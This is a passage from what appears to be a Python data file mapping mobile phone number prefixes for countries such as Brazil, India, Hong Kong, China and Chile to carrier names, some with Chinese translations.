'559899606':{'en': 'Oi'},
'559899607':{'en': 'Oi'},
'559899604':{'en': 'Oi'},
'559899605':{'en': 'Oi'},
'559899602':{'en': 'Oi'},
'559899603':{'en': 'Oi'},
'559899601':{'en': 'Oi'},
'678573':{'en': 'Digicel'},
'678572':{'en': 'Digicel'},
'678577':{'en': 'Digicel'},
'678576':{'en': 'Digicel'},
'678575':{'en': 'Digicel'},
'678574':{'en': 'Digicel'},
'84188':{'en': 'Vietnamobile'},
'55679980':{'en': 'Vivo'},
'9180560':{'en': 'Airtel'},
'9181509':{'en': 'Idea'},
'556899951':{'en': 'Vivo'},
'556899953':{'en': 'Vivo'},
'556899952':{'en': 'Vivo'},
'556899955':{'en': 'Vivo'},
'556899954':{'en': 'Vivo'},
'556899957':{'en': 'Vivo'},
'556899956':{'en': 'Vivo'},
'556899959':{'en': 'Vivo'},
'556899958':{'en': 'Vivo'},
'658414':{'en': 'M1'},
'658415':{'en': 'M1'},
'658412':{'en': 'M1'},
'658413':{'en': 'M1'},
'658410':{'en': 'M1'},
'658411':{'en': 'SingTel'},
'59669664':{'en': 'SFR/Rife'},
'59669661':{'en': 'SFR/Rife'},
'59669660':{'en': 'SFR/Rife'},
'557199959':{'en': 'Vivo'},
'557199958':{'en': 'Vivo'},
'557199957':{'en': 'Vivo'},
'557199956':{'en': 'Vivo'},
'557199955':{'en': 'Vivo'},
'557199954':{'en': 'Vivo'},
'557199953':{'en': 'Vivo'},
'557199952':{'en': 'Vivo'},
'557199951':{'en': 'Vivo'},
'67619':{'en': 'U-Call'},
'67618':{'en': 'U-Call'},
'67617':{'en': 'U-Call'},
'67616':{'en': 'U-Call'},
'67615':{'en': 'U-Call'},
'917489':{'en': 'Reliance'},
'917488':{'en': 'Reliance'},
'917483':{'en': 'Reliance'},
'9177848':{'en': 'Dishnet'},
'5994161':{'en': 'Satel'},
'5994167':{'en': 'WIC'},
'5994166':{'en': 'WIC'},
'5994165':{'en': 'WIC'},
'5994164':{'en': 'WIC'},
'9173289':{'en': 'Aircel'},
'5994169':{'en': 'Satel'},
'5994168':{'en': 'WIC'},
'9173288':{'en': 'Airtel'},
'555598422':{'en': 'Brasil Telecom GSM'},
'555598423':{'en': 'Brasil Telecom GSM'},
'555598421':{'en': 'Brasil Telecom GSM'},
'555598426':{'en': 'Brasil Telecom GSM'},
'555598427':{'en': 'Brasil Telecom GSM'},
'555598424':{'en': 'Brasil Telecom GSM'},
'555598425':{'en': 'Brasil Telecom GSM'},
'917733':{'en': 'Idea'},
'917732':{'en': 'Idea'},
'917731':{'en': 'Idea'},
'917730':{'en': 'Idea'},
'917737':{'en': 'Tata Docomo'},
'917736':{'en': 'Tata Docomo'},
'917735':{'en': 'Reliance'},
'917734':{'en': 'Idea'},
'917739':{'en': 'Airtel'},
'917738':{'en': 'Airtel'},
'67778':{'en': 'Solomon Telekom'},
'917064':{'en': 'Vodafone'},
'558199375':{'en': 'Claro BR'},
'8525900':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'8525901':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'8525902':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'8525903':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'8525904':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'556999931':{'en': 'Vivo'},
'556999932':{'en': 'Vivo'},
'62229616':{'en': 'Esia'},
'593939':{'en': 'Claro'},
'67774':{'en': 'Solomon Telekom'},
'62229614':{'en': 'Esia'},
'67775':{'en': 'Solomon Telekom'},
'918336':{'en': 'Vodafone'},
'918337':{'en': 'Vodafone'},
'918334':{'en': 'Vodafone'},
'62229615':{'en': 'Esia'},
'559699918':{'en': 'Oi'},
'918333':{'en': 'Cellone'},
'6233499':{'en': 'Esia'},
'918331':{'en': 'Cellone'},
'559699914':{'en': 'Oi'},
'559699915':{'en': 'Oi'},
'559699916':{'en': 'Oi'},
'559699917':{'en': 'Oi'},
'559699911':{'en': 'Oi'},
'559699912':{'en': 'Oi'},
'559699913':{'en': 'Oi'},
'62229610':{'en': 'Esia'},
'62229611':{'en': 'Esia'},
'8536612':{'en': 'CTM'},
'556599912':{'en': 'Vivo'},
'556599913':{'en': 'Vivo'},
'556599911':{'en': 'Vivo'},
'9173177':{'en': 'Airtel'},
'9173176':{'en': 'Airtel'},
'9173175':{'en': 'Airtel'},
'556598429':{'en': 'Brasil Telecom GSM'},
'9176459':{'en': 'Telenor'},
'9173178':{'en': 'Airtel'},
'556599917':{'en': 'Vivo'},
'62252913':{'en': 'Esia'},
'62252912':{'en': 'Esia'},
'62252911':{'en': 'Esia'},
'62252910':{'en': 'Esia'},
'62252914':{'en': 'Esia'},
'9174250':{'en': 'Hexacom'},
'558799927':{'en': 'TIM'},
'558799926':{'en': 'TIM'},
'558799925':{'en': 'TIM'},
'558799924':{'en': 'TIM'},
'558799923':{'en': 'TIM'},
'558799922':{'en': 'TIM'},
'558799921':{'en': 'TIM'},
'9174340':{'en': 'Vodafone'},
'558799929':{'en': 'TIM'},
'558799928':{'en': 'TIM'},
'9182072':{'en': 'Airtel'},
'9182070':{'en': 'Airtel'},
'917760':{'en': 'Airtel'},
'9173399':{'en': 'Airtel'},
'9173398':{'en': 'Airtel'},
'9173397':{'en': 'Airtel'},
'9173396':{'en': 'Airtel'},
'9173395':{'en': 'Airtel'},
'9173394':{'en': 'Airtel'},
'9173393':{'en': 'Airtel'},
'9173305':{'en': 'Aircel'},
'9173391':{'en': 'Airtel'},
'9173390':{'en': 'Airtel'},
'918386':{'en': 'Aircel'},
'63965':{'en': 'Globe'},
'63967':{'en': 'Globe'},
'63966':{'en': 'Globe'},
'9177728':{'en': 'Idea'},
'9174791':{'en': 'Vodafone'},
'9177729':{'en': 'Idea'},
'852690':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852691':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852692':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852693':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852694':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852695':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852696':{'en': 'CM Mobile', 'zh': u('\u6da6\u8fc5\u901a\u4fe1'), 'zh_Hant': u('\u6f64\u8fc5\u901a\u4fe1')},
'852697':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852698':{'en': 'CM Mobile', 'zh': u('\u6da6\u8fc5\u901a\u4fe1'), 'zh_Hant': u('\u6f64\u8fc5\u901a\u4fe1')},
'852699':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'9173230':{'en': 'Idea'},
'62341684':{'en': 'Esia'},
'62341685':{'en': 'Esia'},
'62341680':{'en': 'Esia'},
'557198362':{'en': 'Claro BR'},
'557198361':{'en': 'Claro BR'},
'557198360':{'en': 'Claro BR'},
'6015924':{'en': 'Celcom'},
'6015920':{'en': 'Celcom'},
'6015921':{'en': 'Celcom'},
'6015922':{'en': 'Celcom'},
'6015923':{'en': 'Celcom'},
'917904':{'en': 'Reliance Jio'},
'917905':{'en': 'Reliance Jio'},
'852968':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852969':{'en': 'China-Hongkong Telecom', 'zh': u('\u4e2d\u6e2f\u901a'), 'zh_Hant': u('\u4e2d\u6e2f\u901a')},
'917900':{'en': 'Idea'},
'917901':{'en': 'CellOne'},
'917902':{'en': 'Idea'},
'917903':{'en': 'Reliance Jio'},
'852962':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852963':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852960':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852961':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852966':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852967':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852964':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852965':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'9177498':{'en': 'Airtel'},
'90561':{'en': 'Turkcell'},
'9177490':{'en': 'Airtel'},
'622519':{'en': 'Esia'},
'9181180':{'en': 'Airtel'},
'559998422':{'en': 'Claro BR'},
'559998420':{'en': 'Claro BR'},
'559998421':{'en': 'Claro BR'},
'569979':{'en': 'Entel'},
'9180910':{'en': 'Tata Docomo'},
'9177508':{'en': 'Airtel'},
'569970':{'en': 'Movistar'},
'569971':{'en': 'Entel'},
'569972':{'en': 'Movistar'},
'569973':{'en': 'Movistar'},
'569974':{'en': 'Movistar'},
'569975':{'en': 'Movistar'},
'569976':{'en': 'Movistar'},
'569977':{'en': 'Entel'},
'8536504':{'en': '3'},
'8536853':{'en': '3'},
'8536850':{'en': '3'},
'8536851':{'en': '3'},
'8536500':{'en': '3'},
'8536501':{'en': '3'},
'8536502':{'en': '3'},
'8536503':{'en': '3'},
'9181188':{'en': 'Reliance Jio'},
'62548991':{'en': 'Esia'},
'9181200':{'en': 'Idea'},
'8536338':{'en': '3'},
'556898418':{'en': 'Brasil Telecom GSM'},
'556898413':{'en': 'Brasil Telecom GSM'},
'556898412':{'en': 'Brasil Telecom GSM'},
'556898411':{'en': 'Brasil Telecom GSM'},
'556898417':{'en': 'Brasil Telecom GSM'},
'556898416':{'en': 'Brasil Telecom GSM'},
'556898415':{'en': 'Brasil Telecom GSM'},
'556898414':{'en': 'Brasil Telecom GSM'},
'62548990':{'en': 'Esia'},
'918256':{'en': 'Vodafone'},
'659860':{'en': 'SingTel'},
'557199238':{'en': 'TIM'},
'557199239':{'en': 'TIM'},
'659866':{'en': 'SingTel'},
'557199232':{'en': 'TIM'},
'557199233':{'en': 'TIM'},
'557199231':{'en': 'TIM'},
'557199236':{'en': 'TIM'},
'557199237':{'en': 'TIM'},
'557199234':{'en': 'TIM'},
'557199235':{'en': 'TIM'},
'9174910':{'en': 'Idea'},
'559899149':{'en': 'Vivo'},
'559899148':{'en': 'Vivo'},
'559899145':{'en': 'Vivo'},
'559899144':{'en': 'Vivo'},
'559899147':{'en': 'Vivo'},
'559899146':{'en': 'Vivo'},
'559899141':{'en': 'Vivo'},
'918100':{'en': 'Reliance'},
'559899143':{'en': 'Vivo'},
'559899142':{'en': 'Vivo'},
'556198191':{'en': 'TIM'},
'556198193':{'en': 'TIM'},
'556198192':{'en': 'TIM'},
'556198195':{'en': 'TIM'},
'556198194':{'en': 'TIM'},
'556198197':{'en': 'TIM'},
'556198196':{'en': 'TIM'},
'556198199':{'en': 'TIM'},
'556198198':{'en': 'TIM'},
'569754':{'en': 'Entel'},
'569755':{'en': 'Entel'},
'569756':{'en': 'Entel'},
'569757':{'en': 'Entel'},
'569750':{'en': 'WOM'},
'569751':{'en': 'Entel'},
'569752':{'en': 'Entel'},
'569753':{'en': 'Entel'},
'60154871':{'en': 'REDtone'},
'60154870':{'en': 'Optical Communication'},
'60154873':{'en': 'REDtone'},
'60154872':{'en': 'REDtone'},
'569758':{'en': 'Entel'},
'60154874':{'en': 'REDtone'},
'60154877':{'en': 'REDtone'},
'60154876':{'en': 'REDtone'},
'9180000':{'en': 'Reliance'},
'88015':{'en': 'TeleTalk'},
'559499969':{'en': 'Oi'},
'559999111':{'en': 'Vivo'},
'559999113':{'en': 'Vivo'},
'559999112':{'en': 'Vivo'},
'559999115':{'en': 'Vivo'},
'559999114':{'en': 'Vivo'},
'658625':{'en': 'M1'},
'658624':{'en': 'M1'},
'658627':{'en': 'M1'},
'658626':{'en': 'M1'},
'658621':{'en': 'SingTel'},
'658620':{'en': 'SingTel'},
'658623':{'en': 'M1'},
'658622':{'en': 'SingTel'},
'88011':{'en': 'Citycell'},
'658629':{'en': 'M1'},
'658628':{'en': 'M1'},
'8536332':{'en': 'CTM'},
'558499610':{'en': 'TIM'},
'558499611':{'en': 'TIM'},
'62751977':{'en': 'Esia'},
'62751976':{'en': 'Esia'},
'86159':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86158':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86151':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86150':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86153':{'en': 'China Telecom', 'zh': u('\u4e2d\u56fd\u7535\u4fe1'), 'zh_Hant': u('\u4e2d\u570b\u96fb\u4fe1')},
'86152':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86155':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'86157':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86156':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'9175391':{'en': 'Dishnet'},
'556798445':{'en': 'Brasil Telecom GSM'},
'9175393':{'en': 'Dishnet'},
'9175392':{'en': 'Dishnet'},
'9175395':{'en': 'Dishnet'},
'559398413':{'en': 'Claro BR'},
'9175397':{'en': 'Dishnet'},
'556798444':{'en': 'Brasil Telecom GSM'},
'9175399':{'en': 'Airtel'},
'9175398':{'en': 'Dishnet'},
'558499617':{'en': 'TIM'},
'556798447':{'en': 'Brasil Telecom GSM'},
'62562990':{'en': 'Esia'},
'61428':{'en': 'Telstra'},
'61429':{'en': 'Telstra'},
'61422':{'en': 'Optus'},
'556798441':{'en': 'Brasil Telecom GSM'},
'61420':{'en': 'Vodafone'},
'61421':{'en': 'Optus'},
'61426':{'en': 'Vodafone'},
'61427':{'en': 'Telstra'},
'61424':{'en': 'Vodafone'},
'61425':{'en': 'Vodafone'},
'556798443':{'en': 'Brasil Telecom GSM'},
'556798442':{'en': 'Brasil Telecom GSM'},
'8536337':{'en': '3'},
'8536336':{'en': '3'},
'55839811':{'en': 'Vivo'},
'55839810':{'en': 'Vivo'},
'55839813':{'en': 'Vivo'},
'55839812':{'en': 'Vivo'},
'55839815':{'en': 'Vivo'},
'55839814':{'en': 'Vivo'},
'9177390':{'en': 'Airtel'},
'917976':{'en': 'Reliance Jio'},
'556499948':{'en': 'Vivo'},
'556499949':{'en': 'Vivo'},
'556499946':{'en': 'Vivo'},
'556499947':{'en': 'Vivo'},
'556499944':{'en': 'Vivo'},
'556499945':{'en': 'Vivo'},
'556499942':{'en': 'Vivo'},
'556499943':{'en': 'Vivo'},
'556499941':{'en': 'Vivo'},
'555499938':{'en': 'Vivo'},
'555499939':{'en': 'Vivo'},
'558899624':{'en': 'TIM'},
'555499931':{'en': 'Vivo'},
'555499932':{'en': 'Vivo'},
'555499933':{'en': 'Vivo'},
'555499934':{'en': 'Vivo'},
'555499935':{'en': 'Vivo'},
'555499936':{'en': 'Vivo'},
'555499937':{'en': 'Vivo'},
'556199813':{'en': 'Vivo'},
'556199812':{'en': 'Vivo'},
'556199811':{'en': 'Vivo'},
'556298139':{'en': 'TIM'},
'556199817':{'en': 'Vivo'},
'556199816':{'en': 'Vivo'},
'556199815':{'en': 'Vivo'},
'556199814':{'en': 'Vivo'},
'556298132':{'en': 'TIM'},
'556298133':{'en': 'TIM'},
'556199819':{'en': 'Vivo'},
'556199818':{'en': 'Vivo'},
'556298136':{'en': 'TIM'},
'556298137':{'en': 'TIM'},
'556298134':{'en': 'TIM'},
'556298135':{'en': 'TIM'},
'9174130':{'en': 'Vodafone'},
'9174138':{'en': 'Vodafone'},
'9174139':{'en': 'Vodafone'},
'559899621':{'en': 'Oi'},
'9172896':{'en': 'Airtel'},
'84168':{'en': 'Viettel Mobile'},
'62361603':{'en': 'Esia'},
'84166':{'en': 'Viettel Mobile'},
'84167':{'en': 'Viettel Mobile'},
'84164':{'en': 'Viettel Mobile'},
'84165':{'en': 'Viettel Mobile'},
'84162':{'en': 'Viettel Mobile'},
'84163':{'en': 'Viettel Mobile'},
'9172890':{'en': 'Vodafone'},
'559698412':{'en': 'Claro BR'},
'559698413':{'en': 'Claro BR'},
'559698410':{'en': 'Claro BR'},
'559698411':{'en': 'Claro BR'},
'557199935':{'en': 'Vivo'},
'557199934':{'en': 'Vivo'},
'557199937':{'en': 'Vivo'},
'557199936':{'en': 'Vivo'},
'557199931':{'en': 'Vivo'},
'557199933':{'en': 'Vivo'},
'557199932':{'en': 'Vivo'},
'557199939':{'en': 'Vivo'},
'557199938':{'en': 'Vivo'},
'9180010':{'en': 'Vodafone'},
'8536541':{'en': '3'},
'555598401':{'en': 'Brasil Telecom GSM'},
'555598402':{'en': 'Brasil Telecom GSM'},
'555598403':{'en': 'Brasil Telecom GSM'},
'555598404':{'en': 'Brasil Telecom GSM'},
'555598405':{'en': 'Brasil Telecom GSM'},
'555598406':{'en': 'Brasil Telecom GSM'},
'555598407':{'en': 'Brasil Telecom GSM'},
'555598408':{'en': 'Brasil Telecom GSM'},
'555598409':{'en': 'Brasil Telecom GSM'},
'6011102':{'en': 'Packet One'},
'6011103':{'en': 'Packet One'},
'6011100':{'en': 'Packet One'},
'6011101':{'en': 'Packet One'},
'6011106':{'en': 'REDtone'},
'6011107':{'en': 'REDtone'},
'6011104':{'en': 'Packet One'},
'558599601':{'en': 'TIM'},
'6011108':{'en': 'REDtone'},
'6011109':{'en': 'REDtone'},
'558599602':{'en': 'TIM'},
'9172570':{'en': 'Idea'},
'9172578':{'en': 'Airtel'},
'9172579':{'en': 'Airtel'},
'558599607':{'en': 'TIM'},
'9181240':{'en': 'Idea'},
'55739988':{'en': 'Oi'},
'55739989':{'en': 'Oi'},
'67675':{'en': 'U-Call'},
'67677':{'en': 'U-Call'},
'67676':{'en': 'U-Call'},
'67678':{'en': 'U-Call'},
'55739981':{'en': 'Claro BR'},
'55739986':{'en': 'Oi'},
'55739987':{'en': 'Oi'},
'55739985':{'en': 'Oi'},
'66812':{'en': 'AIS'},
'66813':{'en': 'DTAC'},
'66810':{'en': 'AIS'},
'66811':{'en': 'AIS'},
'66816':{'en': 'DTAC'},
'66817':{'en': 'AIS'},
'66814':{'en': 'DTAC'},
'66815':{'en': 'DTAC'},
'66818':{'en': 'AIS'},
'66819':{'en': 'AIS'},
'5906906':{'en': 'Orange'},
'5906907':{'en': 'Orange'},
'5906905':{'en': 'Orange'},
'5906903':{'en': 'Orange'},
'5699488':{'en': 'Entel'},
'5906901':{'en': 'Digicel'},
'5699486':{'en': 'Entel'},
'5699487':{'en': 'Entel'},
'5699484':{'en': 'Entel'},
'5699485':{'en': 'Entel'},
'5699482':{'en': 'Movistar'},
'5699483':{'en': 'Entel'},
'5906908':{'en': 'Digicel'},
'5906909':{'en': 'SFR/Rife'},
'9172833':{'en': 'Vodafone'},
'918310':{'en': 'Reliance Jio'},
'5554991':{'en': 'Claro BR'},
'918318':{'en': 'Reliance Jio'},
'918319':{'en': 'Reliance Jio'},
'9182890':{'en': 'Airtel'},
'9182898':{'en': 'Cellone'},
'9176479':{'en': 'CellOne'},
'9176478':{'en': 'CellOne'},
'9173629':{'en': 'Airtel'},
'9173628':{'en': 'Vodafone'},
'9176470':{'en': 'CellOne'},
'9173620':{'en': 'Vodafone'},
'55929840':{'en': 'Claro BR'},
'55929841':{'en': 'Claro BR'},
'55929842':{'en': 'Claro BR'},
'55929843':{'en': 'Claro BR'},
'55929844':{'en': 'Claro BR'},
'62380997':{'en': 'Esia'},
'62380996':{'en': 'Esia'},
'62380995':{'en': 'Esia'},
'62380999':{'en': 'Esia'},
'62380998':{'en': 'Esia'},
'5562984':{'en': 'Brasil Telecom GSM'},
'5562985':{'en': 'Brasil Telecom GSM'},
'63949':{'en': 'Smart'},
'63948':{'en': 'Smart'},
'63943':{'en': 'Sun'},
'5561984':{'en': 'Brasil Telecom GSM'},
'63947':{'en': 'Smart'},
'63946':{'en': 'Smart'},
'63945':{'en': 'Globe'},
'556598449':{'en': 'Brasil Telecom GSM'},
'556598448':{'en': 'Brasil Telecom GSM'},
'556598447':{'en': 'Brasil Telecom GSM'},
'556598446':{'en': 'Brasil Telecom GSM'},
'556598445':{'en': 'Brasil Telecom GSM'},
'556598444':{'en': 'Brasil Telecom GSM'},
'556598443':{'en': 'Brasil Telecom GSM'},
'556598442':{'en': 'Brasil Telecom GSM'},
'556598441':{'en': 'Brasil Telecom GSM'},
'9177708':{'en': 'Idea'},
'9177709':{'en': 'Idea'},
'9178160':{'en': 'Reliance'},
'852944':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852945':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852946':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852947':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852940':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852941':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852942':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852943':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852948':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852949':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'5595988':{'en': 'Oi'},
'5595989':{'en': 'Oi'},
'5595986':{'en': 'Oi'},
'5595987':{'en': 'Oi'},
'5595985':{'en': 'Oi'},
'9174519':{'en': 'Telenor'},
'569912':{'en': 'Entel'},
'569913':{'en': 'Entel'},
'569910':{'en': 'Claro'},
'569916':{'en': 'Movistar'},
'569917':{'en': 'Claro'},
'569915':{'en': 'Entel'},
'569918':{'en': 'Movistar'},
'569919':{'en': 'Movistar'},
'5939827':{'en': 'Claro'},
'5939826':{'en': 'Claro'},
'5939825':{'en': 'Claro'},
'5939824':{'en': 'CNT'},
'5939823':{'en': 'CNT'},
'5939822':{'en': 'CNT'},
'5939821':{'en': 'CNT'},
'5939820':{'en': 'CNT'},
'9180930':{'en': 'Tata Docomo'},
'5939829':{'en': 'Claro'},
'5939828':{'en': 'Claro'},
'8536528':{'en': 'CTM'},
'8536529':{'en': 'CTM'},
'8536526':{'en': 'CTM'},
'8536527':{'en': 'CTM'},
'8536524':{'en': 'CTM'},
'8536525':{'en': 'CTM'},
'8536522':{'en': 'China Telecom'},
'8536523':{'en': 'China Telecom'},
'8536520':{'en': 'China Telecom'},
'8536521':{'en': 'China Telecom'},
'558599628':{'en': 'TIM'},
'558599629':{'en': 'TIM'},
'558599622':{'en': 'TIM'},
'558599623':{'en': 'TIM'},
'659116':{'en': 'SingTel'},
'558599621':{'en': 'TIM'},
'558599626':{'en': 'TIM'},
'558599627':{'en': 'TIM'},
'558599624':{'en': 'TIM'},
'558599625':{'en': 'TIM'},
'918141':{'en': 'Vodafone'},
'9174407':{'en': 'Idea'},
'918143':{'en': 'Tata Docomo'},
'62549994':{'en': 'Esia'},
'918142':{'en': 'Vodafone'},
'62549992':{'en': 'Esia'},
'62549993':{'en': 'Esia'},
'62549990':{'en': 'Esia'},
'62549991':{'en': 'Esia'},
'918145':{'en': 'Vodafone'},
'62911998':{'en': 'Esia'},
'918144':{'en': 'Reliance'},
'557199211':{'en': 'TIM'},
'557199212':{'en': 'TIM'},
'557199213':{'en': 'TIM'},
'557199214':{'en': 'TIM'},
'557199215':{'en': 'TIM'},
'557199216':{'en': 'TIM'},
'557199217':{'en': 'TIM'},
'557199218':{'en': 'TIM'},
'557199219':{'en': 'TIM'},
'659800':{'en': 'StarHub'},
'918146':{'en': 'Airtel'},
'659806':{'en': 'SingTel'},
'659807':{'en': 'SingTel'},
'62253914':{'en': 'Esia'},
'918126':{'en': 'Airtel'},
'918125':{'en': 'Tata Docomo'},
'918124':{'en': 'Idea'},
'62253910':{'en': 'Esia'},
'62253911':{'en': 'Esia'},
'62253912':{'en': 'Esia'},
'62253913':{'en': 'Esia'},
'918129':{'en': 'Airtel'},
'918128':{'en': 'Airtel'},
'559899163':{'en': 'Vivo'},
'559899162':{'en': 'Vivo'},
'559899161':{'en': 'Vivo'},
'9174939':{'en': 'Idea'},
'559899167':{'en': 'Vivo'},
'559899166':{'en': 'Vivo'},
'559899165':{'en': 'Vivo'},
'559899164':{'en': 'Vivo'},
'559899169':{'en': 'Vivo'},
'559899168':{'en': 'Vivo'},
'55829995':{'en': 'TIM'},
'55829994':{'en': 'TIM'},
'55829997':{'en': 'TIM'},
'55829996':{'en': 'TIM'},
'55829991':{'en': 'TIM'},
'55829990':{'en': 'TIM'},
'55829993':{'en': 'TIM'},
'55829992':{'en': 'TIM'},
'8536643':{'en': '3'},
'55829998':{'en': 'TIM'},
'62421992':{'en': 'Esia'},
'9180799':{'en': 'Idea'},
'559499904':{'en': 'Oi'},
'559499901':{'en': 'Oi'},
'559999139':{'en': 'Vivo'},
'559999138':{'en': 'Vivo'},
'559999137':{'en': 'Vivo'},
'559999136':{'en': 'Vivo'},
'559999135':{'en': 'Vivo'},
'559999134':{'en': 'Vivo'},
'559499909':{'en': 'Oi'},
'559499908':{'en': 'Oi'},
'559999131':{'en': 'Vivo'},
'9180796':{'en': 'CellOne'},
'9179090':{'en': 'Reliance Jio'},
'62421991':{'en': 'Esia'},
'658609':{'en': 'StarHub'},
'658608':{'en': 'StarHub'},
'658607':{'en': 'StarHub'},
'658606':{'en': 'StarHub'},
'658605':{'en': 'StarHub'},
'658604':{'en': 'StarHub'},
'658603':{'en': 'StarHub'},
'658602':{'en': 'StarHub'},
'658601':{'en': 'StarHub'},
'658600':{'en': 'M1'},
'8536641':{'en': 'SmarTone'},
'556699953':{'en': 'Vivo'},
'556699952':{'en': 'Vivo'},
'556699951':{'en': 'Vivo'},
'62421990':{'en': 'Esia'},
'556699957':{'en': 'Vivo'},
'556699956':{'en': 'Vivo'},
'556699955':{'en': 'Vivo'},
'556699954':{'en': 'Vivo'},
'556699959':{'en': 'Vivo'},
'556699958':{'en': 'Vivo'},
'86177':{'en': 'China Telecom', 'zh': u('\u4e2d\u56fd\u7535\u4fe1'), 'zh_Hant': u('\u4e2d\u570b\u96fb\u4fe1')},
'86176':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'86175':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'917675':{'en': 'Airtel'},
'86173':{'en': 'China Telecom', 'zh': u('\u4e2d\u56fd\u7535\u4fe1'), 'zh_Hant': u('\u4e2d\u570b\u96fb\u4fe1')},
'86172':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'917671':{'en': 'Reliance'},
'86178':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'5592981':{'en': 'TIM'},
'5592987':{'en': 'Oi'},
'5592986':{'en': 'Oi'},
'5592985':{'en': 'Oi'},
'5592989':{'en': 'Oi'},
'5592988':{'en': 'Oi'},
'8536647':{'en': 'CTM'},
'9172499':{'en': 'Vodafone'},
'9172498':{'en': 'Telewings'},
'9172493':{'en': 'Telewings'},
'9172492':{'en': 'Telewings'},
'6015481':{'en': 'Jaring'},
'9172490':{'en': 'Telewings'},
